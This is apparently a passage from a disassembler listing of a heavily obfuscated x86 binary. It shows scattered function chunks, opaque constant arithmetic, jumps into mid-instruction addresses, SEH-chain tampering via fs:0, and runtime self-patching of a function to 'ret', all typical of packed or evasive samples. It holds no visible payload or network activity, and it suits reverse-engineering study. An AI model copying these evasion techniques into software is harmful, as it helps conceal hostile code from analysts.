FUNCTION CHUNK FOR sub_4250D4 ; --------------------------------------------------------------------------- loc_42AAD9: ; CODE XREF: wto1jq8f:0042917Ej xor ebx, 8D2B5438h add ebx, ebp add ebx, 0F601F456h mov [ebx], eax mov ebx, offset loc_42C912 xchg ebx, [esp] jmp locret_42C911 ; =============== S U B R O U T I N E ======================================= sub_42AAF6 proc near ; CODE XREF: wto1jq8f:0042D7EDp ; FUNCTION CHUNK AT 0042B1DD SIZE 00000018 BYTES mov [esp+0], edx pop edx xchg eax, ebp push 4 push ebx push 49ED94EFh jmp loc_42B1DD sub_42AAF6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42AB09: ; CODE XREF: sub_426535:loc_42958Dj call near ptr sub_424BAC loc_42AB0E: ; CODE XREF: sub_426535+87F8j jmp loc_42779D ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- db 0E9h ; é db 0D9h ; Ù db 4Ah ; J db 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CE2 loc_42AB18: ; CODE XREF: sub_425CE2:loc_42E1CDj push offset loc_429713 jmp nullsub_131 ; END OF FUNCTION CHUNK FOR sub_425CE2 ; --------------------------------------------------------------------------- loc_42AB22: ; CODE XREF: wto1jq8f:0042E1B5j js locret_42EAAA cmp ecx, esi jmp loc_426645 ; --------------------------------------------------------------------------- jnz loc_424D27 jmp loc_4247F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_42AB3A: ; CODE XREF: sub_429281:loc_427D7Dj jnz loc_4279F3 jmp loc_429EE5 ; END OF FUNCTION CHUNK FOR sub_429281 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_136. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push ecx push 6E3A6C2h pop ecx add ecx, 0F95F2DA4h xchg ecx, [esp] jmp loc_42C8C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4242D6 loc_42AB5B: ; CODE XREF: sub_4242D6:loc_42CBC1j xchg ebp, esi loc_42AB5D: ; CODE XREF: wto1jq8f:00424A0Fj push offset loc_42B2C4 jmp near ptr loc_42F9C2+1 ; END OF FUNCTION CHUNK FOR sub_4242D6 ; --------------------------------------------------------------------------- loc_42AB67: ; CODE XREF: wto1jq8f:loc_426383j jnz loc_42F3E1 jmp loc_4280AD ; --------------------------------------------------------------------------- loc_42AB72: ; DATA XREF: wto1jq8f:00428F07o mov eax, [eax] add eax, [ebp-4] add eax, 18h mov [ebp-10h], eax mov eax, [ebp-10h] jmp loc_42991A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429165 loc_42AB85: ; CODE XREF: sub_429165:loc_42DBD7j xor eax, eax mov [ebp+var_C], eax cmp [ebp+var_4], 0 jmp near ptr loc_42F17A+1 ; END OF FUNCTION CHUNK FOR sub_429165 ; --------------------------------------------------------------------------- loc_42AB93: ; CODE XREF: wto1jq8f:004283A9j and ebx, edi pop edi push offset loc_427447 jmp loc_4269E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42628C loc_42ABA0: ; CODE XREF: wto1jq8f:loc_42709Bj ; sub_42628C:loc_42CCCEj lea eax, [ebp-14h] xor edx, edx push edi push 297B1376h pop edi jmp loc_424533 ; END OF FUNCTION CHUNK FOR sub_42628C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A5C4 loc_42ABB1: ; CODE XREF: sub_42A5C4:loc_42BB08j mov eax, edi pop edi call sub_42B178 loc_42ABB9: ; CODE XREF: wto1jq8f:0042B87Dj jmp near ptr sub_42CB36 ; END OF FUNCTION CHUNK FOR sub_42A5C4 ; --------------------------------------------------------------------------- test ecx, ebp loc_42ABC0: ; CODE XREF: wto1jq8f:00427BC4j jmp loc_42DB4B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42970D loc_42ABC5: ; CODE XREF: sub_42970D+1j mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_42F9D7 ; END OF FUNCTION CHUNK FOR sub_42970D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B353 loc_42ABD0: ; CODE XREF: sub_42B353-228Fj push 0C98D1A1Ah pop eax sub eax, 0D5AF30F7h rol eax, 16h test eax, 40000000h jmp loc_428148 ; END OF FUNCTION CHUNK FOR sub_42B353 ; --------------------------------------------------------------------------- cmp ebx, ecx jmp loc_42C215 ; --------------------------------------------------------------------------- loc_42ABF1: ; DATA XREF: wto1jq8f:0042CF21o push 99880B40h pop esi xor esi, 67598E68h popf sbb eax, esi pop esi and eax, edx loc_42AC03: ; CODE XREF: wto1jq8f:00426D72j adc eax, edx jmp loc_42CD9B ; --------------------------------------------------------------------------- loc_42AC0A: ; CODE XREF: wto1jq8f:0042CCD9j shr edx, 3 mov ecx, ds:dword_429558 jnb loc_425FAE or [ecx+edx], al mov eax, [ebp-0Ch] jmp loc_429244 ; =============== S U B R O U T I N E ======================================= sub_42AC24 proc near ; CODE XREF: wto1jq8f:004283FDj ; wto1jq8f:0042E430p xchg ebx, [esp+0] pop ebx mov eax, [ebp+8] or dword ptr [eax-8], 8 sub_42AC24 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_426535 loc_42AC2F: ; CODE XREF: sub_426750+3j ; sub_424BD4+1B88j ... jo loc_424BC5 mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h jz loc_4275E2 jmp loc_42958D ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_42AC4A: ; CODE XREF: wto1jq8f:00425DEAj jz loc_42EC2F jmp loc_42E071 ; --------------------------------------------------------------------------- add esi, 58B3251Dh mov [esi], eax call sub_4299EB jmp loc_42C251 ; --------------------------------------------------------------------------- loc_42AC67: ; CODE XREF: wto1jq8f:00426215j jmp loc_42DB66 ; --------------------------------------------------------------------------- locret_42AC6C: ; CODE XREF: wto1jq8f:loc_4271CDj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_42AC6D: ; CODE XREF: sub_42ADC7:loc_42C3B2j jz loc_4277D2 jmp loc_42D531 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427143 loc_42AC78: ; CODE XREF: sub_427143:loc_4292FEj push offset sub_425962 jmp loc_42D7CE ; END OF FUNCTION CHUNK FOR sub_427143 ; --------------------------------------------------------------------------- loc_42AC82: ; CODE XREF: wto1jq8f:0042BFA0j mov ecx, [ecx] movzx edx, byte ptr [ecx+edx] and eax, edx jnz loc_4245A9 jmp loc_426442 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_42AC95: ; CODE XREF: sub_42D9D9-5264j adc ebx, 6D33DDF2h jno loc_42C652 loc_42ACA1: ; CODE XREF: sub_42D9D9:loc_42C9C9j call loc_42F4AF retn ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- db 0E9h dd 4197h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42ACAC: ; CODE XREF: sub_42A909-1A31j call sub_427F4E test al, al jz loc_429F2C jmp loc_42FA84 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- jg loc_425F52 jmp near ptr sub_429281 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284EC loc_42ACCA: ; CODE XREF: sub_4284EC-24E5j jmp loc_424E7B ; END OF FUNCTION CHUNK FOR sub_4284EC ; --------------------------------------------------------------------------- loc_42ACCF: ; CODE XREF: wto1jq8f:00429763j pop edx retn ; --------------------------------------------------------------------------- loc_42ACD1: ; CODE XREF: wto1jq8f:00429748j jmp loc_42BF88 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx call sub_42C6F9 loc_42ACDF: ; CODE XREF: wto1jq8f:0042A9FFj jmp loc_42C40F ; --------------------------------------------------------------------------- dword_42ACE4 dd 0 ; wto1jq8f:00429882r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42ACE8: ; CODE XREF: sub_42DC5C-95C3j jmp sub_42A56D ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- push edi jmp short loc_42AD69 ; --------------------------------------------------------------------------- dword_42ACF0 dd 0 ; wto1jq8f:0042C5C0r ; --------------------------------------------------------------------------- loc_42ACF4: ; CODE XREF: wto1jq8f:00427323j jmp near ptr loc_42F851+1 ; --------------------------------------------------------------------------- db 4Bh, 7, 37h dword_42ACFC dd 0 ; wto1jq8f:0042C38Ar ; --------------------------------------------------------------------------- pop ss mov eax, 31E95CC5h les ebp, [eax+ecx*2+1572D3h] jmp locret_427905 ; --------------------------------------------------------------------------- jmp nullsub_117 ; --------------------------------------------------------------------------- db 43h dword_42AD18 dd 5CC5B817h, 54444AC8h, 0BA00D0A6h, 5CC5B817h, 54444AC8h ; DATA XREF: sub_428F61+3o dd 18D0A6h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9B0 loc_42AD30: ; CODE XREF: sub_42D9B0+13j jmp loc_42961F ; END OF FUNCTION CHUNK FOR sub_42D9B0 ; --------------------------------------------------------------------------- db 13h, 1Ch, 0A8h dd 5CC5B817h, 4A5485A8h, 4851D48Ah, 4544A4h, 0E903C6C1h dd 522Dh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_133. PRESS KEYPAD "+" TO EXPAND] db 0E9h, 52h, 48h dd 0D83B0000h, 19C0E9h, 6CC5F700h, 0E9A46E57h, 19A8h ; --------------------------------------------------------------------------- locret_42AD68: ; CODE XREF: wto1jq8f:loc_4269E0j retn ; --------------------------------------------------------------------------- loc_42AD69: ; CODE XREF: wto1jq8f:00424A15j ; wto1jq8f:0042ACEEj jno loc_426CF7 sub ebx, 0D0CDC9D4h xchg esi, [ebx] ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_42AD77: ; CODE XREF: sub_42DB52-9158j xor edx, 0B4646693h add edx, ebp add edx, 34446676h call sub_42C0F6 ; END OF FUNCTION CHUNK FOR sub_42DB52 ; START OF FUNCTION CHUNK FOR sub_426950 loc_42AD8A: ; CODE XREF: sub_426950:loc_42A5F1j jz sub_427D8D jmp loc_4281A6 ; END OF FUNCTION CHUNK FOR sub_426950 ; --------------------------------------------------------------------------- loc_42AD95: ; CODE XREF: wto1jq8f:00428809j jnb loc_42DA95 adc edi, 0A683BBE6h or edi, 22C3BD08h loc_42ADA7: ; CODE XREF: wto1jq8f:0042A2C6j pop large dword ptr fs:0 add esp, 4 mov eax, 51h push ecx jmp loc_42D417 ; --------------------------------------------------------------------------- loc_42ADBC: ; CODE XREF: wto1jq8f:loc_426328j ; wto1jq8f:00426423j pop ebp retn ; --------------------------------------------------------------------------- loc_42ADBE: ; CODE XREF: wto1jq8f:004243CCj ; wto1jq8f:0042E273j mov byte ptr [ebp-5], 0 jmp loc_42D78E ; =============== S U B R O U T I N E ======================================= sub_42ADC7 proc far ; CODE XREF: wto1jq8f:loc_42446Ep ; DATA XREF: wto1jq8f:0042AFF5o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004247FF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00424AF6 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00425C4D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00425EC7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425F8E SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042600D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426931 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426A19 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00426BCB SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00427361 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00427782 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004277BE SIZE 0000002B BYTES ; FUNCTION CHUNK AT 004277FF SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004284D4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428669 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00428802 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428A8F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428B21 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428BE9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428E5F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00428ECC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004294D2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004297C8 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00429898 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042A642 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A72A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AC6D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B752 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042BBBE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C080 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C3A8 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042CE14 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042CECC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CEF5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D531 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D949 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042DB15 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E9EB SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042EB89 SIZE 00000015 BYTES mov eax, 131h call sub_428183 jmp loc_42DB15 sub_42ADC7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ds:dword_42F1D4, eax ; START OF FUNCTION CHUNK FOR sub_4267AE loc_42ADDB: ; CODE XREF: sub_4267AE:loc_42D284j xor eax, eax mov dword ptr ds:loc_42F1DB+5, eax push 0 push 8FDA3C0Fh pop eax or eax, 7FC32C0Fh jmp loc_424C63 ; END OF FUNCTION CHUNK FOR sub_4267AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_42ADF5: ; CODE XREF: sub_429281-4FD6j mov large fs:0, esp mov eax, large fs:20h or eax, eax jz loc_42E7BB jmp loc_42F7C8 ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- loc_42AE10: ; CODE XREF: wto1jq8f:0042CA07j js loc_426CB3 jg loc_42BA30 jmp loc_429363 ; --------------------------------------------------------------------------- loc_42AE21: ; DATA XREF: wto1jq8f:00428874o call sub_42ED32 test eax, eax setnz byte ptr [ebp-1] ; START OF FUNCTION CHUNK FOR sub_426535 loc_42AE2C: ; CODE XREF: sub_426535+2Fj ; wto1jq8f:0042886Ej ... mov al, [ebp-1] pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_42AE32: ; CODE XREF: wto1jq8f:0042840Fj mov esp, ebp jmp loc_4292FE ; --------------------------------------------------------------------------- loc_42AE39: ; CODE XREF: wto1jq8f:00429BB0j jnz loc_4279D2 jmp loc_428643 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F4F loc_42AE44: ; CODE XREF: sub_425F4F+3FC6j ; sub_425F4F:loc_42E744j call sub_427A8D call near ptr sub_42CBD1 loc_42AE4E: ; CODE XREF: wto1jq8f:00427B5Cj jmp loc_42E2D4 ; END OF FUNCTION CHUNK FOR sub_425F4F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_156. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E337 loc_42AE54: ; CODE XREF: sub_42E337-2867j jmp loc_42F89D ; END OF FUNCTION CHUNK FOR sub_42E337 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C61B loc_42AE59: ; CODE XREF: sub_42C61B-49FAj jmp sub_4242D6 ; END OF FUNCTION CHUNK FOR sub_42C61B ; --------------------------------------------------------------------------- dw 335Dh dd 0FC4589C0h, 87FC458Bh, 0CE8B2434h, 4186E9h, 96F68100h dd 0E97FA3B6h, 0FFFFF540h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428DDD loc_42AE7C: ; CODE XREF: sub_428DDD-1CFBj ror ecx, 10h loc_42AE7F: ; CODE XREF: sub_428DDD:loc_4241CDj push 23BD8B9h pop eax add eax, 0B7B91085h sub eax, 0AE2F41FDh xor eax, 0E1E4DD0Bh add eax, ebp add eax, 15DE85AAh jmp loc_42E483 ; END OF FUNCTION CHUNK FOR sub_428DDD ; =============== S U B R O U T I N E ======================================= sub_42AEA4 proc near ; CODE XREF: sub_4267AE+48E3p ; FUNCTION CHUNK AT 00426E20 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429B20 SIZE 00000008 BYTES xchg edi, [esp+0] mov edi, [esp+0] push 3687FDD9h pop edi rol edi, 4 add edi, 97C2C23Dh jmp loc_429B20 sub_42AEA4 endp ; --------------------------------------------------------------------------- loc_42AEBE: ; CODE XREF: wto1jq8f:0042A274j adc edx, 5CD418AFh jmp loc_42ECF6 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- push edx xchg eax, edx retn ; =============== S U B R O U T I N E ======================================= sub_42AECE proc near ; CODE XREF: wto1jq8f:0042A55Fj ; sub_427FAB+48A1j ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042A459 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042E66D SIZE 00000009 BYTES jb loc_42E66D push ebp mov ebp, esp push ecx jmp loc_42D4B5 sub_42AECE endp ; =============== S U B R O U T I N E ======================================= sub_42AEDD proc near ; CODE XREF: wto1jq8f:0042B78Bj ; sub_42BE69+B6Ep ; FUNCTION CHUNK AT 0042FBD4 SIZE 00000007 BYTES xchg eax, [esp+0] pop eax mov eax, ds:dword_425108[eax*4] mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jmp loc_42FBD4 sub_42AEDD endp ; sp-analysis failed ; --------------------------------------------------------------------------- jnz loc_424738 ; START OF FUNCTION CHUNK FOR sub_425E35 loc_42AEFA: ; CODE XREF: sub_425E35+Ej jmp loc_42EEE7 ; END OF FUNCTION CHUNK FOR sub_425E35 ; --------------------------------------------------------------------------- db 0Fh dd 115189h, 3DE38100h, 3B2823F4h, 9B8BE9D0h, 0C085FFFFh dd 40148C0Fh, 7D830000h, 950F00F0h, 7E9FB45h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_42AF27: ; CODE XREF: wto1jq8f:00427554j ; wto1jq8f:00427568j add edx, 6675838Eh popf sbb eax, edx pop edx mov ecx, 0B6F8F93Fh push offset sub_42E115 jmp loc_424D4E ; --------------------------------------------------------------------------- loc_42AF40: ; CODE XREF: wto1jq8f:00426349j sub eax, ebp xchg edi, ebp loc_42AF44: ; CODE XREF: wto1jq8f:0042A0B1j not ecx and edx, 8F41AD39h ; START OF FUNCTION CHUNK FOR sub_4264F4 loc_42AF4C: ; CODE XREF: sub_4264F4:loc_42633Bj or eax, 2DF8567Dh add eax, 50457EE3h jmp near ptr loc_42EEDB+4 ; END OF FUNCTION CHUNK FOR sub_4264F4 ; --------------------------------------------------------------------------- jl loc_429F4F jmp loc_4292AB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_90. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42AF69: ; CODE XREF: wto1jq8f:0042E233j jmp sub_429165 ; --------------------------------------------------------------------------- loc_42AF6E: ; CODE XREF: wto1jq8f:0042A524j jmp loc_426635 ; --------------------------------------------------------------------------- db 0E9h ; é db 66h ; f db 0B0h ; ° db 0FFh db 0FFh ; --------------------------------------------------------------------------- loc_42AF78: ; CODE XREF: wto1jq8f:00425E8Bj call near ptr sub_42DB52 ; START OF FUNCTION CHUNK FOR sub_426535 loc_42AF7D: ; CODE XREF: sub_426535+33F5j jmp loc_428494 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- db 87h ; ‡ db 14h db 24h ; $ db 5Ah ; Z db 89h ; ‰ db 2Ch ; , db 24h ; $ db 8Bh ; ‹ db 0ECh ; ì db 0E8h ; è db 10h db 9Eh ; ž db 0FFh db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D22D loc_42AF90: ; CODE XREF: sub_42D22D:loc_429738j ; wto1jq8f:0042B28Aj jnz loc_42D3B9 jmp loc_427FFF ; END OF FUNCTION CHUNK FOR sub_42D22D ; --------------------------------------------------------------------------- push offset sub_42ED54 jmp loc_42E08B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42AFA5: ; CODE XREF: sub_42A909-6741j jnb loc_424D3B xor edx, 5B83C332h xor edi, ecx jmp loc_424024 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- cmp esi, ebp jmp loc_42C851 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428333 loc_42AFBF: ; CODE XREF: sub_428333:loc_42C3FEj xchg ebx, [esp-8+arg_0] jmp sub_428183 ; END OF FUNCTION CHUNK FOR sub_428333 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BB75 loc_42AFC8: ; CODE XREF: sub_42BB75+8j jmp loc_4240ED ; END OF FUNCTION CHUNK FOR sub_42BB75 ; =============== S U B R O U T I N E ======================================= sub_42AFCD proc near ; CODE XREF: sub_4260DB+27E1p ; wto1jq8f:00429012j ; FUNCTION CHUNK AT 0042BC81 SIZE 0000000A BYTES mov [esp+0], eax pop eax add eax, ebp add eax, 0F6F72304h mov dword ptr [eax], 737361h push 0 jmp loc_42BC81 sub_42AFCD endp ; --------------------------------------------------------------------------- loc_42AFE6: ; CODE XREF: wto1jq8f:00428E30j mov ebp, esp push ecx jnz near ptr loc_42F68B+5 inc ds:dword_42F1CC lea eax, sub_42ADC7 loc_42AFFB: ; CODE XREF: wto1jq8f:loc_42B8B5j mov byte ptr [eax], 0C3h call sub_4266EF call sub_42D993 ; --------------------------------------------------------------------------- jmp loc_42BA7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D4F loc_42B00D: ; CODE XREF: sub_426D4F:loc_42B970j ja loc_429E88 jmp loc_42BC5B ; END OF FUNCTION CHUNK FOR sub_426D4F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_81. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_42B019 proc near ; DATA XREF: sub_426535:loc_426DC7o ; FUNCTION CHUNK AT 0042CA83 SIZE 00000005 BYTES add ecx, 0BCB1581Dh xchg ecx, [esp+0] jmp loc_42CA83 sub_42B019 endp ; --------------------------------------------------------------------------- locret_42B027: ; CODE XREF: wto1jq8f:loc_429303j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E555 loc_42B028: ; CODE XREF: sub_42E555+9j jmp nullsub_167 ; END OF FUNCTION CHUNK FOR sub_42E555 ; =============== S U B R O U T I N E ======================================= sub_42B02D proc near ; CODE XREF: sub_42760F-2C50p ; wto1jq8f:004266B4p ... ; FUNCTION CHUNK AT 00428D18 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428E04 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00429633 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A8CF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B393 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0042B4B4 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0042D80A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042E090 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042F851 SIZE 0000003F BYTES js sub_42BB2A push ebp mov ebp, esp push ecx jmp loc_428E04 sub_42B02D endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_42B03C: ; CODE XREF: wto1jq8f:loc_42429Fj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DEFF loc_42B03D: ; CODE XREF: sub_42DEFF-1447j jmp loc_426545 ; END OF FUNCTION CHUNK FOR sub_42DEFF ; --------------------------------------------------------------------------- loc_42B042: ; CODE XREF: wto1jq8f:00428034j jmp near ptr loc_42FA20+3 ; --------------------------------------------------------------------------- loc_42B047: ; CODE XREF: wto1jq8f:0042D969j sbb ecx, 0DE7C2A0Ah rol ebp, 7 jmp loc_426F81 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_75. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42B056: ; CODE XREF: wto1jq8f:0042863Ej jg near ptr loc_42F22E+2 jmp loc_42E986 ; --------------------------------------------------------------------------- loc_42B061: ; CODE XREF: wto1jq8f:loc_42C912j push 9E876E25h pop eax and eax, 6BBD6014h add eax, 0F5BD3554h mov eax, [eax] mov edx, [ebp-4] mov byte ptr [eax+edx], 0 jmp loc_4264C8 ; --------------------------------------------------------------------------- mov [ebp+0], edx jmp loc_42634E ; --------------------------------------------------------------------------- loc_42B089: ; DATA XREF: sub_429471-33A0o push 0 push 10h mov eax, [ebp-8] ; START OF FUNCTION CHUNK FOR sub_4267AE loc_42B090: ; CODE XREF: sub_4267AE+4D7j push eax call sub_42AEA4 ; END OF FUNCTION CHUNK FOR sub_4267AE ; START OF FUNCTION CHUNK FOR sub_426313 loc_42B096: ; CODE XREF: sub_426313+33D1j jo loc_4271F6 not ebx jmp loc_42DC52 ; END OF FUNCTION CHUNK FOR sub_426313 ; --------------------------------------------------------------------------- loc_42B0A3: ; CODE XREF: wto1jq8f:0042CFD2j ja loc_42D068 jmp loc_429EEA ; =============== S U B R O U T I N E ======================================= sub_42B0AE proc near ; CODE XREF: sub_42E0FD+6p mov [esp+0], ecx mov esp, ebp pop ebp push 0D4821EC9h mov eax, offset loc_426DEE push offset loc_426DEA jmp nullsub_17 sub_42B0AE endp ; --------------------------------------------------------------------------- loc_42B0C8: ; CODE XREF: wto1jq8f:0042841Bj rol eax, 1Bh jz loc_42F760 ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_42B0D1: ; CODE XREF: sub_42CB36:loc_42E858j push eax push 758212BEh pop eax loc_42B0D8: ; CODE XREF: wto1jq8f:loc_42BFBCj jmp loc_42DFFC ; END OF FUNCTION CHUNK FOR sub_42CB36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_42B0DD: ; CODE XREF: sub_42CBD1-26DCj jp loc_425BC4 or ecx, 0DFE3AE8Dh jmp loc_42849E ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; --------------------------------------------------------------------------- loc_42B0EE: ; CODE XREF: wto1jq8f:0042D6D8j jo sub_427F4E loc_42B0F4: ; CODE XREF: wto1jq8f:loc_42A3B1j call sub_424585 mov edx, 0F75CA70h push esi jmp near ptr loc_42F0AB+1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_153. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42704E loc_42B105: ; CODE XREF: sub_42704E+8D8j ; wto1jq8f:0042C06Aj ror eax, 0Eh push eax retn ; END OF FUNCTION CHUNK FOR sub_42704E ; =============== S U B R O U T I N E ======================================= sub_42B10A proc near ; CODE XREF: sub_4267AE:loc_427B9Bp ; sub_42A0E5:loc_42CAFCj push offset sub_427694 jmp nullsub_82 sub_42B10A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA7A loc_42B114: ; CODE XREF: sub_42DA7A+8j jz sub_42D974 jmp loc_42D412 ; END OF FUNCTION CHUNK FOR sub_42DA7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262F5 loc_42B11F: ; CODE XREF: sub_4262F5-1B8Dj sub esi, 0B19FFA90h loc_42B125: ; CODE XREF: sub_4262F5:loc_429D23j call sub_42C859 ; END OF FUNCTION CHUNK FOR sub_4262F5 ; =============== S U B R O U T I N E ======================================= sub_42B12A proc near ; CODE XREF: sub_42992F+21p ; wto1jq8f:0042E94Fj xchg ecx, [esp+0] pop ecx inc dword ptr [ebp-4] loc_42B131: ; CODE XREF: wto1jq8f:00428C55j mov eax, [ebp+8] mov eax, [eax-18h] call near ptr sub_426968 loc_42B13C: ; CODE XREF: sub_42DC5C-95Fj jmp sub_42A56D sub_42B12A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42B141: ; CODE XREF: sub_426535+4FDBj jmp loc_42CC0F ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_42B146: ; CODE XREF: wto1jq8f:00429C86j jmp loc_4261D2 ; --------------------------------------------------------------------------- js loc_42B5A6 shr edx, 9 jmp loc_42CF89 ; --------------------------------------------------------------------------- loc_42B159: ; CODE XREF: wto1jq8f:loc_42EC04j rol eax, 1Bh mov ds:dword_42D600, eax retn 